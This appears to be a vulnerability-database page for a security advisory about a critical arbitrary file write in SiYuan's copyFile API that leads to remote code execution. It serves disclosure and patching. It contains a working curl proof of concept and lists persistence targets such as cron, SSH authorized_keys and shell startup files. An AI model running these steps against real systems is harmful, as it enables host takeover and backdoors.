Loading...
Skip to main content

CVE-2026-25539 — Vulnerability in...

CRITICAL

SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE

Published January 29, 2026Updated February 5, 2026Source: osv

Summary

## Summary The `/api/file/copyFile` endpoint does not validate the `dest` parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files. - Affected Version: 3.5.3 (and likely all prior versions) ## Details - Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22) - Location: `kernel/api/file.go` - copyFile function ```go // kernel/api/file.go lines 94-139 func copyFile(c *gin.Context) { // ... src := arg["src"].(string) src, err := model.GetAssetAbsPath(src) // src is validated // ... dest := arg["dest"].(string) // dest is NOT validated! if err = filelock.Copy(src, dest); err != nil { // ... } } ``` The `src` parameter is properly validated via `model.GetAssetAbsPath()`, but the `dest` parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory. ## PoC ### Step 1: Upload malicious content to workspace ```bash curl -X POST "http://target:6806/api/file/putFile" \ -H "Authorization: Token <API_TOKEN>" \ -F "path=/data/assets/malicious.sh" \ -F "file=@-;filename=malicious.sh" <<< '#!/bin/sh id > /tmp/pwned.txt hostname >> /tmp/pwned.txt' ``` ### Step 2: Copy to arbitrary location (e.g., /tmp) ```bash curl -X POST "http://target:6806/api/file/copyFile" \ -H "Authorization: Token <API_TOKEN>" \ -H "Content-Type: application/json" \ -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}' ``` Response: `{"code":0,"msg":"","data":null}` ### Step 3: Verify file was written outside workspace ```bash cat /tmp/malicious.sh # Output: #!/bin/sh # id > /tmp/pwned.txt # hostname >> /tmp/pwned.txt ``` ## Attack Scenarios | Target Path | Impact | |-------------|--------| | `/etc/cron.d/backdoor` | Scheduled command execution (RCE) | | `~/.ssh/authorized_keys` | Persistent SSH access | | `~/.bashrc` | Command execution on user login | | `/etc/ld.so.preload` | Shared library injection | ### RCE Demonstration RCE was successfully demonstrated by writing a script and executing it: ```bash # Write script to /tmp curl -X POST "http://target:6806/api/file/copyFile" \ -H "Authorization: Token <API_TOKEN>" \ -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}' # Execute (simulating cron or login trigger) sh /tmp/malicious.sh # Result cat /tmp/pwned.txt # uid=0(root) gid=0(root) groups=0(root)... ``` ## Impact An authenticated attacker (with API Token) can: 1. Achieve Remote Code Execution with the privileges of the SiYuan process 2. Establish persistent backdoor access via SSH keys 3. Compromise the entire host system 4. Access sensitive data on the same network (lateral movement) ## Suggested Fix Add path validation to ensure `dest` is within the workspace directory: ```go func copyFile(c *gin.Context) { // ... dest := arg["dest"].(string) // Add validation if !util.IsSubPath(util.WorkspaceDir, dest) { ret.Code = -1 ret.Msg = "dest path must be within workspace" return } if err = filelock.Copy(src, dest); err != nil { // ... } } ``` ## Solution d7f790755edf8c78d2b4176171e5a0cdcd720feb

Advisory Timeline

  • First published January 29, 2026 (256 days ago).
  • Last revised February 5, 2026 — 7 days after initial publication.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/siyuan-note/siyuan/kernel
go
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-25539?
SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-25539?
CVE-2026-25539 affects github.com/siyuan-note/siyuan/kernel. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-25539 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-c4jr-5q7w-f6r9
GO-2026-4387

Related CVEs

  • CVE-2026-32938
    CRITICAL

    SiYuan Vulnerable to Arbitrary File Read in Desktop Publish Service

  • CVE-2026-32767
    CRITICAL

    SiYuan: Authorization Bypass Allows Arbitrary SQL Execution via Search API

  • CVE-2026-54067
    CRITICAL

    SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet()

  • CVE-2026-39846
    CRITICAL

    SiYuan: Remote Code Execution in the Electron desktop client via stored XSS in synced table captions

  • CVE-2026-72793
    HIGH

    SiYuan: Non-administrator responses from /api/system/getConf omit three secrets that the configuration-export path explicitly strips, disclosing the session-cookie signing key and the OS username to anonymous readers

  • CVE-2026-72795
    HIGH

    SiYuan: Embedded (transclusion) block content is returned without publish-access filtering, leaking private and password-protected document content to anonymous readers

  • CVE-2026-72798
    HIGH

    SiYuan: Publish-access filter on renderAttributeView leaves related-database content unfiltered and fails open on non-block first columns

  • CVE-2026-72810
    HIGH

    SiYuan: Publish-boundary bypass via WebSocket broadcast: anonymous readers receive a live unfiltered feed of all edits including protected/forbidden documents (publish mode)

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies